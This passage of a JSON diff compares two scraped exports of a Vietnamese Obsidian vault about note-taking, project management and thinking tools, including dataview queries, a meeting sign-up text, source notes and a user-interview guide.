"2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T06:16:00.000Z", - "id": "N7" + "Ngày tạo": "2024-09-07T14:30:00.000Z", + "Ngày cập nhật": "2024-09-07T14:30:00.000Z", + "id": "NL" }, { - "Tiêu đề": "⚡Hiểu biết sâu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/⚡Hiểu biết sâu", + "Tiêu đề": "Trí nhớ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Trí nhớ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu\" \nWHERE file.name!=this.file.name\nGroup by substring(file.folder,15)\n```", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T10:39:00.000Z", - "id": "N8" + "Ngày tạo": "2024-09-02T18:18:00.000Z", + "Ngày cập nhật": "2024-09-02T18:18:00.000Z", + "id": "NM" }, { - "Tiêu đề": "🌟 Mở đầu", - "URL": "https://obsidian.quảcầu.cc/🌟 Mở đầu", + "Tiêu đề": "Tự tổ chức", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Tự tổ chức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[logo.svg|200]]\n\nObsidian là một phần mềm ghi chú mới xuất hiện từ năm 2020. Điểm khác biệt của nó với Word hoặc Google Docs là khả năng liên kết các ghi chú lại như Wikipedia mà không bị ràng buộc bởi việc nên phân loại theo thư mục nào. Điểm khác biệt của nó với Notion hoặc Google Docs là nó lưu dữ liệu trên máy bạn chứ không lưu trên máy chủ, khiến cho bạn có sự tự chủ và tự do tuyệt đối với dữ liệu của mình. \n\nBất cứ ai trong chúng ta đều có những nhu cầu cần được đáp ứng. Những nhu cầu này chảy qua cơ thể chúng ta, tạo ra những dự định về tương lai trong tâm trí của chúng ta. Khi một dự định trở nên đủ lớn, nó sẽ trở thành một dự án. Khi một dự án trở nên đủ phức tạp, bạn cần những công cụ giúp bạn điều chỉnh kế hoạch theo sự biến động của môi trường cũng như kết nối các nguồn lực mà không tốn quá nhiều năng lượng. Những công cụ cho bạn sự tự chủ và tự do với dữ liệu của mình, không giam hãm thông tin trong những ốc đảo nào sẽ giúp bạn làm được điều đó.\n \nVào khoảnh khắc bạn nhận ra được rằng bạn có thể sử dụng một công cụ nào đó để đạt được một mục tiêu nào đó, bạn đã không còn là chính mình như trước nữa. Lấy những dụng cụ quang học làm ví dụ. Một cái kính lúp sẽ phóng to những chi tiết nhỏ, và một cái kính cận sẽ làm sắc nét những thứ nhoè nhoẹt. Nhưng chúng không chỉ giúp bạn thấy rõ những thứ khó thấy, chúng còn có thể giúp bạn thấy được những điều bất khả thấy. Một chiếc kính viễn vọng sẽ giúp bạn thấy được số vệ tinh của hành tinh Thổ, và một chiếc kính hồng ngoại sẽ giúp bạn thấy được những chuyển động trong đêm. Nhưng nếu ta không lấy làm bất ngờ gì lắm khi nghe tới những loại ánh sáng mắt không thế nhìn ra, thì tại sao ta lại bất ngờ khi biết rằng có những loại suy nghĩ não không thể nghĩ tới? Dù sao thì, cả mắt và cả não đều bị giới hạn trong cái cấu trúc sinh học của nó. Và cũng giống như những công cụ nhìn kia giúp ta nhìn thấy được những thứ khó nhìn và bất khả nhìn, thì với những công cụ nghĩ ta có thể nghĩ tới những suy nghĩ khó nghĩ và bất khả nghĩ. \n\nSau khi đọc xong những điều này, hiện có những câu hỏi nào xuất hiện trong đầu bạn?\n\n| Câu hỏi của bạn | Loại câu hỏi | | Nơi cho câu trả lời |\n| --------------------------------------------------------------------------------------------- | ------------ | ----------------------------- | ----------------------------- |\n| Obsidian có gì hay? Nó giúp ích gì trong việc tư duy, hệ thống kiến thức, hoặc quản lý dự án? | What | | [[💎 Giới thiệu về Obsidian]] |\n| Tôi cần thành thạo thêm những công cụ gì để dự án của tôi được trôi chảy? | How | Biết là mình không biết | [[📜Tài nguyên]] |\n| Hmm, bản chất của những vấn đề này là gì? Còn những gì tôi không biết là tôi không biết? | Why | Không biết là mình không biết | [[⚡Hiểu biết sâu]] |\n\n[[Nơi này là nơi nào?|Nơi này là nơi nào?]] | [[Mọi người hay thảo luận ở đâu?|Mọi người hay thảo luận ở đâu?]] | [[Tôi có thể giúp gì|Tôi có thể giúp gì?]] \n", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-25T12:58:00.000Z", - "Ngày cập nhật": "2024-09-02T08:22:00.000Z", - "id": "N9" + "Ngày tạo": "2024-08-02T08:43:00.000Z", + "Ngày cập nhật": "2024-08-02T08:43:00.000Z", + "id": "NN" }, { - "Tiêu đề": "3 Thành phẩm", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/3 Thành phẩm", + "Tiêu đề": "Đồ thị", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Đồ thị", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-28T10:48:00.000Z", - "Ngày cập nhật": "2023-10-28T10:48:00.000Z", - "id": "NA" + "Ngày tạo": "2024-08-02T08:36:00.000Z", + "Ngày cập nhật": "2024-08-02T08:36:00.000Z", + "id": "NO" }, { - "Tiêu đề": "Các buổi cố vấn riêng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi cố vấn riêng/Các buổi cố vấn riêng", + "Tiêu đề": "Bing AI", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Bing AI", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\nTrạng thái:: #tt/đang-làm, [[Nhật]]\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\n\nThành quả cần có::\nThành quả hỗ trợ:: [[100% người tham gia cho phản hồi về độ hấp dẫn của bài học]]\n\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NB" + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NP" }, { - "Tiêu đề": "Các buổi chia sẻ vault cá nhân", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi giới thiệu vault/Các buổi chia sẻ vault cá nhân", + "Tiêu đề": "Emilie Durkheim", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Emilie Durkheim", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Nguyễn Đức Lộc]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-21T15:44:00.000Z", - "id": "NC" + "Ngày cập nhật": "2023-11-03T08:30:00.000Z", + "id": "NQ" }, { - "Tiêu đề": "Các buổi giới thiệu vault", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi giới thiệu vault/Các buổi giới thiệu vault", + "Tiêu đề": "James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "![[Về Tính Uy Quyền của Khảo tả Dân Tộc Học.pdf]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "ND" + "Ngày tạo": "2023-10-06T09:10:00.000Z", + "Ngày cập nhật": "2023-11-13T15:01:00.000Z", + "id": "NR" }, { - "Tiêu đề": "Demo tại nhóm phát triển sản phẩm", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi giới thiệu vault/Demo tại nhóm phát triển sản phẩm", + "Tiêu đề": "Kendy", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kendy", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\n# 2023-02-03 18:20\r\n- 2023-02-06 21:55: 28 lượt click, 22.22% quay lại,\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NE" + "Ngày tạo": "2023-09-10T17:02:00.000Z", + "Ngày cập nhật": "2024-02-22T05:13:00.000Z", + "id": "NS" }, { - "Tiêu đề": "15 - 3", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi họp xây dựng kế hoạch phát triển/15 - 3", + "Tiêu đề": "freeCodeCamp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/freeCodeCamp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm/buổi-họp\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nCác giả thuyết cần kiểm tra:\r\n```dataview\r\nLIST giả-thuyết\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\r\n\r\nThành quả cần có::\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList\r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NF" + "Ngày tạo": "2023-07-26T10:46:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NT" }, { - "Tiêu đề": "Các buổi họp xây dựng kế hoạch phát triển", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi họp xây dựng kế hoạch phát triển/Các buổi họp xây dựng kế hoạch phát triển", + "Tiêu đề": "Google Support", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/Google Support", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: [[Nhật]], [[Nghi]], [[Thịnh]]\nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\n\nThành quả cần có:: \nThành quả hỗ trợ:: Người tham gia nói nhu cầu của họ\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n\n- [x] Hoàn thiện kế hoạch buổi gặp ✅ 2023-03-08\n- [x] Hoàn thiện phiếu đăng ký ✅ 2023-03-08\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-21T04:54:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NG" + "Ngày tạo": "2023-07-01T08:35:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NU" }, { - "Tiêu đề": "Phiếu đăng ký tham gia buổi lên kế hoạch xây dựng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi họp xây dựng kế hoạch phát triển/Phiếu đăng ký tham gia buổi lên kế hoạch xây dựng", + "Tiêu đề": "IBM", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/IBM", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Vault \"Obsidian và Git cho quản lý dự án\" là một sản phẩm dành riêng cho người Việt với mục tiêu hỗ trợ những ai chưa từng làm quen với Obsidian và Git cũng như kiến thức về phát triển sản phẩm có thể nhanh chóng học những ứng dụng và kiến thức này từng bước một để làm một kho dữ liệu quản lý dự án. Bạn có thể dùng vault này để tự học hoặc như một giáo án để hỗ trợ bạn bè của mình.\r\n\r\nĐể có thể hỗ trợ được nhiều bạn mới trong việc làm quen với Obsidian và Git hơn, mời bạn tham gia vào buổi gặp mặt đầu tiên cho dự án. Buổi gặp mặt này cũng sẽ giúp chúng ta biết thêm về nhau cũng như giúp xây dựng cộng đồng Obsidian ở Việt Nam phát triển hơn. \r\n\r\n- Số lượng: khoảng 5 người, ưu tiên cho những ai muốn tham gia nhận việc\r\n- Thời gian, địa điểm: sẽ được thống nhất sau giữa những người muốn tham gia nhận việc hoặc góp ý tưởng cho việc lên kế hoạch\r\n\r\nTải trước [bộ cài cho vault](https://quacau.space/g3fq) để trải nghiệm.\r\n\r\nLink đăng ký: https://forms.gle/ZvSL7EdQUFRYp5uNA\r\n\r\n\r\n\r\n# Câu hỏi\r\n## Bạn dự định sẽ làm gì trong buổi hôm đó? \r\n \r\n- Nhận việc \r\n- Đóng góp ý tưởng cho việc lên kế hoạch \r\n- Đóng góp nhu cầu người sử dụng \r\n- Quan sát, lắng nghe là chính \r\n \r\nNgoài Obsidian ra bạn còn những nhu cầu nào khác \r\nBạn có muốn những bạn khác biết về những nhu cầu này của bạn không? \r\n \r\nBạn ở tỉnh nào?\r\n\r\n# Sau khi đăng ký xong\r\nCảm ơn bạn đã đăng ký tham gia. Để giới thiệu trước về bản thân bạn, làm quen với những bạn sẽ có mặt trong buổi hôm đó, đặt câu hỏi cũng như cập nhật những thông báo mới nhất, bạn có thể tham gia Discord Quả Cầu, kênh # hỗ-trợ-người-tự-học. Link: https://discord.gg/jWTk4EHFK2\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NH" + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NV" }, { - "Tiêu đề": "100% bài học có thành quả cần có", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các bài học trên vault/100% bài học có thành quả cần có", + "Tiêu đề": "Phạm Đình Khánh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/Phạm Đình Khánh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%#file/thành-quả%%\nPhục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \n```\nThành quả cần có:: \n\nThành phẩm::\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NI" + "Ngày tạo": "2023-05-29T07:56:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NW" }, { - "Tiêu đề": "Các bài học trên vault", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các bài học trên vault/Các bài học trên vault", + "Tiêu đề": "tuhocict", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/tuhocict", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\nPhục vụ cho thành quả:\n```dataview\nLIST\nFrom #file/thành-quả\nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: [[Nhật]]\n\nThành quả cần có:: [[50% người dễ dàng tự sử dụng]]\nThành phẩm nhỏ hơn:: [[100% bài học có thành quả cần có]]\n\nThành phẩm nhỏ hơn:\n```dataview\nList \nFrom \"📐 Dự án hỗ trợ người mới học Obsidian/3 Thành phẩm\" \nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "Mình tìm thấy trang này hay. Người viết là giảng viên và có vẻ chú trọng đến sự bao quát hơn là giới thiệu kỹ thuật nói chung. Ở các bài nhập môn đa phần đều nói về sự thiếu sót của các giáo trình tiếng Việt trước đây. Điều này chứng tỏ rằng họ có sự tách mình ra khỏi sự hối thúc hướng dẫn người khác, để quan sát xem thứ người học nghĩ là họ cần, và thứ người dạy nghĩ là người học cần có đúng là cái mà người học cần hay không.\r\n\r\nVí dụ như ở bài về C#:\r\n> Hiện nay, số lượng tài liệu lập trình C# rất nhiều. Mỗi tài liệu có hướng tiếp cận riêng. Tuy nhiên, các tài liệu tốt nhất đều viết bằng tiếng Anh. Trên mạng Internet bạn cũng có thể dễ dàng tìm thấy rất nhiều nội dung hướng dẫn học lập trình C# tiếng Việt. Tuy nhiên, chúng thường là những blog post hoặc series bài khá rời rạc. Việc tự học theo các website hoặc blog như vậy khá khó khăn và thiếu bài bản.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-c-sharp/\r\n\r\nVí dụ khác ở bài về PHP:\r\n> Do ngôn ngữ lập trình PHP sử dụng chủ yếu trong phát triển ứng dụng web, các tài liệu dạy lập trình PHP ngay từ đầu sẽ gắn với xây dựng ứng dụng web. Cách tiếp cận này có một nhược điểm.\r\n> \r\n> Ứng dụng web phức tạp với nhiều thành phần viết bằng nhiều ngôn ngữ: phần nội dung được diễn đạt bằng HMTL; phần hình thức được chỉ định qua CSS; thành phần xuất nhập dữ liệu chạy trên trình duyệt; thành phần xử lý (viết bằng PHP) chạy trên web server.\r\n> \r\n> Như vậy, để học ngôn ngữ lập trình PHP, bạn đồng thời cũng phải học và hiểu tất cả các thành phần liên quan.\r\n> \r\n> Dĩ nhiên, để học phát triển ứng dụng web, bạn phải biết tất cả các vấn đề trên. Tuy nhiên, với mục đích học ngôn ngữ PHP, chúng lại trở thành yếu tố nhiễu gây cản trở việc tiếp thu các vấn đề của riêng ngôn ngữ PHP.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-php/\r\n\r\nNhóm biên soạn nhấn mạnh là đây không phải là dành cho người mới, mà là cho người đã có nền tảng rồi. Phải nói là may mắn là mình có tự học trước về JS rồi nên giờ mới hiểu được. Mình đọc bài giới thiệu về .NET thấy hiểu ra nhiều thứ.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NJ" + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NX" }, { - "Tiêu đề": "Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp/Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp/Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp", + "Tiêu đề": "Viblo", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/Viblo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\n\r\nThành quả cần có:: 3/5 người nhận phỏng vấn\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList \r\nFrom #file/thành-phẩm \r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n\r\n# Câu hỏi nghiên cứu\r\n- Họ biết tới Obsidian thế nào?\r\n- Điều gì khiến họ thấy Obsidian là khác biệt?\r\n- Từ lúc biết tới Obsidian đến giờ họ đã gặp những khó khăn gì?\r\n- Họ đang sử dụng Obsidian thế nào?\r\n\t- Họ có dùng Obsidian để quản lý dự án nào không?\r\n- Họ có muốn giúp người khác học Obsidian không? \r\n\r\n- Họ thấy vault hữu dụng thế nào với họ? \r\n\t- Điều gì khiến họ muốn bật vault lên?\r\n\t- Họ mường tượng họ sẽ sử dụng sản phẩm thế nào?\r\n\r\n- Họ gặp khó khăn nào trong việc dùng vault?\r\n\t- Họ có gặp khó khăn nào trong tìm thông tin mình cần không?\r\n\r\n- Họ mong muốn thấy vault sẽ như thế nào?\r\n- Họ nghĩ ai sẽ là người sử dụng vault?\r\n- Họ nghĩ ai sẽ là người sẽ đóng góp cho vault?\r\n- Họ có thấy ai sẽ là người họ muốn giới thiệu vault này đến cho họ không?\r\n- Giả sử như\r\n\r\n- Lúc thấy trên nhóm họ đã thấy thế nào? Vì sao lúc đó họ không nói gì nhiều?\r\n\r\n[[Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt]]\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NK" + "Ngày tạo": "2023-07-25T13:39:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NY" }, { - "Tiêu đề": "Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp/Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp/Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt", + "Tiêu đề": "ABG Open Special 2023", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kinh tế học/ABG Open Special 2023", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xin chào bạn. Mình là Lý Minh Nhật. Cảm ơn bạn đã nhận lời. Mình muốn mời bạn vào cuộc phỏng vấn này do thấy bạn tham gia tích cực trong kênh Obsidian tiếng Việt. Trước khi bắt đầu thì bạn có câu hỏi nào về cho mình không?\r\n\r\n- Công việc hiện tại của bạn là gì?\r\n- Nhu cầu hiện tại của bạn là gì?\r\n\r\n- Bạn biết tới Obsidian thế nào?\r\n- Điều gì khiến bạn thấy Obsidian là khác biệt?\r\n- Từ lúc biết tới Obsidian đến giờ bạn đã gặp những khó khăn gì?\r\n- Bạn đang sử dụng Obsidian thế nào?\r\n - Họ có dùng Obsidian để quản lý dự án nào không?\r\n- Bạn có muốn giúp người khác học Obsidian không? \r\n\r\n- Bạn thấy vault hữu dụng thế nào với bạn? \r\n\t- Điều gì khiến bạn muốn bật vault lên?\r\n\t- Bạn mường tượng bạn sẽ sử dụng sản phẩm thế nào?\r\n\r\n- Bạn gặp khó khăn nào trong việc dùng vault?\r\n\t- Bạn có gặp khó khăn nào trong tìm thông tin mình cần không?\r\n\r\n- Bạn mong muốn thấy vault sẽ như thế nào?\r\n- Bạn nghĩ ai sẽ là người sử dụng vault?\r\n- Bạn nghĩ ai sẽ là người sẽ đóng góp cho vault?\r\n- Bạn có thấy ai sẽ là người bạn muốn giới thiệu vault này đến cho bạn không?\r\n- Bạn sẽ giới thiệu họ về vault như thế nào?\r\n- Nếu đóng góp vào vault bạn mường tượng mình sẽ làm những gì? \r\n - Vì sao bạn chưa làm điều đó? \r\n\r\n- Lúc thấy trên nhóm bạn đã thấy thế nào? Vì sao lúc đó bạn không nói gì nhiều?\r\n\r\n\r\n\r\n- Bạn cảm thấy Ooker như thế nào?\r\n- Bạn cảm thấy Ooker trong kênh tiếng Việt là thế nào?\r\n- Bạn cảm 